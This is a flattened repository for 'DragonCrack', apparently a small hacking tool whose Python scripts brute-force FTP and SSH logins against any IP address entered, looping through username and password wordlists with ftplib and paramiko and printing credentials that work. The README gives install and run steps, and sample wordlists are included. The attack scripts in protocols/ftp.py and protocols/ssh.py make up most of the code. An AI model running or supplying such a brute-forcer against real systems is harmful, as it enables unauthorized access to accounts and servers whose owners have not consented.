├── README.md ├── banner ├── __pycache__ │ ├── banner.cpython-39.pyc │ └── ftp.cpython-39.pyc └── banner.py ├── dragoncrack.py ├── ex_pass.txt ├── ex_users.txt ├── protocols ├── ftp.py └── ssh.py └── requirements.sh /README.md: -------------------------------------------------------------------------------- 1 | # DragonCrack 2 | 3 | ![Captura de pantalla (366)](https://user-images.githubusercontent.com/75953873/137247180-bcb295f2-d5af-4ce4-b6f1-64855bcc7a16.png) 4 | 5 | 6 | ### Example: 7 | 8 | ![Captura de pantalla (368)](https://user-images.githubusercontent.com/75953873/137250939-da994075-2dd1-46f0-a7c1-22d5b2b197ac.png) 9 | 10 | 11 | ## Install 12 | 13 | ``` 14 | • git clone https://github.com/R3LI4NT/DragonCrack 15 | • cd DragonCrack 16 | • sudo bash requirements.sh 17 | • python3 dragoncrack.py 18 | ``` 19 | 20 | -------------------------------------------------------------------------------- /banner/__pycache__/banner.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R3LI4NT/DragonCrack/2f76ce546e47e7f911d728d9a20ceab43cf12e0d/banner/__pycache__/banner.cpython-39.pyc -------------------------------------------------------------------------------- /banner/__pycache__/ftp.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R3LI4NT/DragonCrack/2f76ce546e47e7f911d728d9a20ceab43cf12e0d/banner/__pycache__/ftp.cpython-39.pyc -------------------------------------------------------------------------------- /banner/banner.py: -------------------------------------------------------------------------------- 1 | import os,sys 2 | 3 | #COLORS 4 | RED = '\033[1;31m' 5 | BLUE = '\033[1;34m' 6 | GREEN = '\033[1;32m' 7 | YELLOW = '\033[1;33m' 8 | MAGENTA = '\033[1;35m' 9 | WHITE = '\033[1;37m' 10 | CYAN = '\033[1;36m' 11 | END = '\033[0m' 12 | 13 | 14 | os.system("clear") 15 | 16 | def banner(): 17 | print(""" 18 | \033[0;31m#####################################################################################################\033[0m 19 | \033[0;31m## \033[0;31m##\033[0m 20 | \033[0;31m## \033[1;31m██████╗ ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ \033[1;37m ██████╗██████╗ █████╗ ██████╗██╗ ██╗ \033[0;31m##\033[0m 21 | \033[0;31m## \033[1;31m██╔══██╗██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗ ██║ \033[1;37m██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝ \033[0;31m##\033[0m 22 | \033[0;31m## \033[1;31m██║ ██║██████╔╝███████║██║ ███╗██║ ██║██╔██╗ ██║ \033[1;37m██║ ██████╔╝███████║██║ █████╔╝ \033[0;31m##\033[0m 23 | \033[0;31m## \033[1;37m██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║ \033[1;31m██║ ██╔══██╗██╔══██║██║ ██╔═██╗ \033[0;31m##\033[0m 24 | \033[0;31m## \033[1;37m██████╔╝██║ ██║██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║ \033[1;31m╚██████╗██║ ██║██║ ██║╚██████╗██║ ██╗ \033[0;31m##\033[0m 25 | \033[0;31m## \033[0;37m╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ \033[1;31m ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ \033[0;31m##\033[0m 26 | \033[0;31m#####################################################################################################\033[0m 27 | \033[0;31m## ## \033[1;31mGITHUB: \033[1;37mR3LI4NT \033[0;31m## \033[0;31m##\033[0m 28 | \033[0;31m#####################################################################################################\033[0m 29 | \033[0;31m## \033[1;37mFTP \033[1;31mCRACKER\033[0m \033[0;31m##\033[0m \033[0;31m##\033[1;37m SSH \033[1;31mCRACKER \033[0m\033[0;31m##\033[0m 30 | \033[0;31m#################\033[0m \033[0;31m#################\033[0m 31 | """) 32 | -------------------------------------------------------------------------------- /dragoncrack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from banner.banner import * 5 | 6 | 7 | def menu(): 8 | banner() 9 | 10 | print("""\n\033[1;37m[\033[0;31m1\033[1;37m]\033[0m FTP CRACK 11 | \033[1;37m[\033[0;31m2\033[1;37m]\033[0m SSH CRACK 12 | """) 13 | 14 | menu() 15 | 16 | option = int(input("\033[1;31m=>\033[0m ")) 17 | 18 | if option == 1: 19 | os.system("cd protocols && python3 ftp.py") 20 | 21 | 22 | elif option == 2: 23 | os.system("cd protocols && python3 ssh.py") 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /ex_pass.txt: -------------------------------------------------------------------------------- 1 | admin 2 | hello02823 3 | crack9281 4 | msfadmin 5 | asd2wadwda -------------------------------------------------------------------------------- /ex_users.txt: -------------------------------------------------------------------------------- 1 | admin1234 2 | msfadmin 3 | sarha_14 4 | hello_friend 5 | -------------------------------------------------------------------------------- /protocols/ftp.py: -------------------------------------------------------------------------------- 1 | import os,sys 2 | import ftplib 3 | 4 | sys.path.insert(0, '../banner/banner.py') 5 | 6 | def bruteFTP(ip, port, user, password): 7 | ftp = ftplib.FTP(ip) 8 | 9 | try: 10 | ftp.login(user, password) 11 | ftp.quit() 12 | print("\033[1;37m---------------------------------------------\033[0m") 13 | print(" User : \033[1;31m{}\033[1;37m |\033[0m Pass : \033[1;31m{}\033[0m".format(user,password)) 14 | print("\033[1;37m---------------------------------------------\033[0m") 15 | except: 16 | print("=> Authentication Failed") 17 | 18 | ip = input("\n\033[0;32mIP\033[0m Address : ") 19 | port = 21 20 | 21 | username_list = open(input("\033[0;32mUser(s)\033[0m wordlist : "), 'r') 22 | username_list = username_list.read().split('\n') 23 | 24 | passwords_list = open(input("\033[0;32mPasswords\033[0m wordlist : "), 'r',) 25 | passwords_list = passwords_list.read().split('\n') 26 | print(f"\033[0;32mPort\033[0m : {port}\n") 27 | 28 | for u in username_list: 29 | for p in passwords_list: 30 | bruteFTP(ip,port,u,p) 31 | -------------------------------------------------------------------------------- /protocols/ssh.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import paramiko 3 | 4 | sys.path.insert(0, '../banner/banner.py') 5 | 6 | def bruteSSH(ip,port,user,password): 7 | client = paramiko.SSHClient() 8 | logs = paramiko.util.log_to_file('log.log') 9 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 10 | 11 | try: 12 | client.connect(ip, port=port, username=user, password=password) 13 | print("\033[1;37m---------------------------------------------\033[0m") 14 | print(" User : \033[1;31m{}\033[1;37m |\033[0m Pass : \033[1;31m{}\033[0m".format(user,password)) 15 | print("\033[1;37m---------------------------------------------\033[0m") 16 | except: 17 | print("=> Authentication Failed") 18 | 19 | 20 | ip = input("\n\033[0;32mIP\033[0m Address : ") 21 | port = 22 22 | 23 | username_list = open(input("\033[0;32mUser(s)\033[0m wordlist : "), 'r') 24 | username_list = username_list.read().split('\n') 25 | 26 | passwords_list = open(input("\033[0;32mPasswords\033[0m wordlist : "), 'r',) 27 | passwords_list = passwords_list.read().split('\n') 28 | print(f"\033[0;32mPort\033[0m : {port}\n") 29 | 30 | for u in username_list: 31 | for p in passwords_list: 32 | bruteSSH(ip,port,u,p) 33 | -------------------------------------------------------------------------------- /requirements.sh: -------------------------------------------------------------------------------- 1 | dependencies() { 2 | 3 | clear 4 | printf "\e[1;97mInstalling dependencies\e[0m\n" 5 | printf "\n\e[1;91mPIP3\e[0m\n" 6 | sudo apt install python3-pip 7 | printf "\n\e[1;91mFtplib\e[0m\n" 8 | pip install pyftpdlib 9 | printf "\n\e[1;91mParamiko\e[0m\n" 10 | pip install paramiko 11 | 12 | } 13 | 14 | dependencies --------------------------------------------------------------------------------